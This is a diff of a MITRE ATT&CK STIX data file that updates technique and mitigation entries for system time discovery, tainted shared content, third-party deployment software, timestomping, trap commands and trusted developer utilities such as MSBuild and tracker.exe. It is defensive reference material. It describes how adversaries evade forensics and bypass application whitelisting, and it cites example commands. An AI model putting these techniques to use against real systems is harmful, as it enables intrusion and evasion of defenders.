-            "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring\n\nPermissions Required: User",
+            "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13222,26 +13931,15 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Taint Shared Content Mitigation",
             "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -13256,24 +13954,24 @@
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                 },
-                {
-                    "source_name": "Corio 2008",
-                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
-                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
-                },
                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         },
@@ -13282,9 +13980,9 @@
             "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:01.759Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Taint Shared Content",
-            "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Access to shared folders and content with write permissions",
+            "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Access to shared folders and content with write permissions",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13309,26 +14007,15 @@
                 "Access to shared folders and content with write permissions"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Third-party Software Mitigation",
             "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
             "external_references": [
@@ -13344,9 +14031,9 @@
             "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:57.201Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Third-party Software",
-            "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes",
+            "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13382,20 +14069,8 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ],
             "x_mitre_remote_support": true
         },
@@ -13403,8 +14078,8 @@
             "type": "course-of-action",
             "id": "course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Timestomp Mitigation",
             "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -13445,9 +14120,9 @@
             "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:12.675Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Timestomp",
-            "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Linux, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13475,19 +14150,8 @@
                 "Process command-line parameters"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_defense_bypassed": [
                 "Host forensic analysis"
@@ -13502,8 +14166,8 @@
             "type": "course-of-action",
             "id": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trap Mitigation",
             "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.",
             "external_references": [
@@ -13519,9 +14183,9 @@
             "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trap",
-            "description": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
+            "description": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13553,8 +14217,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_remote_support": false
         },
@@ -13562,21 +14225,16 @@
             "type": "course-of-action",
             "id": "course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trusted Developer Utilities Mitigation",
-            "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)",
+            "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1127",
                     "external_id": "T1127"
                 },
-                {
-                    "source_name": "Microsoft GitHub Device Guard CI Policies",
-                    "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.",
-                    "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md"
-                },
                 {
                     "source_name": "Exploit Monday Mitigate Device Guard Bypases",
                     "description": "Graeber, M. (2016, September 8). Using Device Guard to Mitigate Against Device Guard Bypasses. Retrieved September 13, 2016.",
@@ -13587,6 +14245,11 @@
                     "description": "Graeber, M. (2016, November 13). DeviceGuardBypassMitigationRules. Retrieved November 30, 2016.",
                     "url": "https://github.com/mattifestation/DeviceGuardBypassMitigationRules"
                 },
+                {
+                    "source_name": "Microsoft GitHub Device Guard CI Policies",
+                    "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.",
+                    "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md"
+                },
                 {
                     "source_name": "SubTee MSBuild",
                     "description": "[ Smith, C. (2016, September 13). Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations. Retrieved September 13, 2016."
@@ -13598,9 +14261,9 @@
             "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:39.262Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trusted Developer Utilities",
-            "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012\n\nRemote Support: No\n\nContributors: Casey Smith",
+            "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n===Tracker===\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012\n\nRemote Support: No\n\nContributors: Casey Smith, Matthew Demaske, Adaptforward",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13617,73 +14280,76 @@
                     "url": "https://attack.mitre.org/wiki/Technique/T1127",
                     "external_id": "T1127"
                 },
+                {
+                    "source_name": "Exploit Monday WinDbg",
+                    "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.",
+                    "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
+                },
                 {
                     "source_name": "MSDN MSBuild",
                     "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.",
                     "url": "https://msdn.microsoft.com/library/dd393574.aspx"
                 },
-                {
-                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass",
-                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017."
-                },
-                {
-                    "source_name": "Microsoft Migrating from DNX",
-                    "description": "Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017.",
-                    "url": "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx"
-                },
-                {
-                    "source_name": "engima0x3 DNX Bypass",
